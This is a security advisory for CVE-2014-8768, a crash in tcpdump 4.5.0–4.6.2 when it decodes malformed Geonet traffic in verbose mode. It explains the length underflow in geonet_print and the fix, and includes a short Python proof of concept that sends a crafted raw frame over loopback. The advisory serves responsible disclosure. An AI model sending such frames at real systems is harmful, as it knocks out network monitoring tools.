tcpdump 4.6.2 - Geonet Decoder Denial of Service

CVE-2014-8768 tcpdump denial of service in verbose mode using malformed 
Geonet payload

1. Background

tcpdump is a powerful command-line packet analyzer. It allows the user 
to intercept and display TCP/IP and other packets being transmitted or 
received over a network to which the computer is attached.

2. Summary Information

It was found out that malformed network traffic (Geonet-based) can lead 
to an application crash (denial of service) if verbose output of tcpdump 
monitoring the network is used.

3. Technical Description

The application decoder for the geonet protocol fails to perform 
external input validation and performs insufficient checking on length 
computations leading to an unsafe decrement and underflow in the function

geonet_print(netdissect_options *ndo, const u_char *eth, const u_char 
*bp, u_int length)

The affected variable is length which is later on used to print a memory 
chunk which eventually leads to a segfault. The function contains 
several unsafe computations updating the length variable.

To reproduce start tcpdump on a network interface

sudo tcpdump -i lo -s 0 -n -v

(running the program with sudo might hide the segfault message on 
certain environments, see dmesg for details)

and use the following python program to generate a frame on the network 
(might also need sudo):

#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))

geonet_frame = 
"\x00\x1f\xc6\x51\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\xc6\x51\x07\x07\x07\x07\x07\x07\xef\x06\x07\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\x00\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01\x68\x0a\x01\x01\x01\x99\x80\x00\x35\x00\x29\x16\xa5\x01\x76\x01\x00\x00\xff\x00\x00\x01\x00\x00\x00"

s.send(geonet_frame)

4. Affected versions

Affected versions are 4.5.0 through 4.6.2

(segfaults were reproducible in versions up to 4.6.1 on Ubuntu 14.04, 
but not reliably in 4.6.2. Code audit showed that unsafe computations 
are performed in 4.6.2, but the trigger frame might need to look different).

5. Fix

The problem is fixed in the upcoming version tcpdump 4.7.0

6. Advisory Timeline

2014-11-08 Discovered
2014-11-09 Requested CVE
2014-11-11 Reported vendor by email
2014-11-12 Vendor made a fix available as repository patch
2014-11-13 CVE number received
2014-11-13 Published CVE advisory

7. Credit

The issue was found by

Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de

using a slightly enhanced version of american fuzzy lop 
(https://code.google.com/p/american-fuzzy-lop/) created by Michal Zalewski.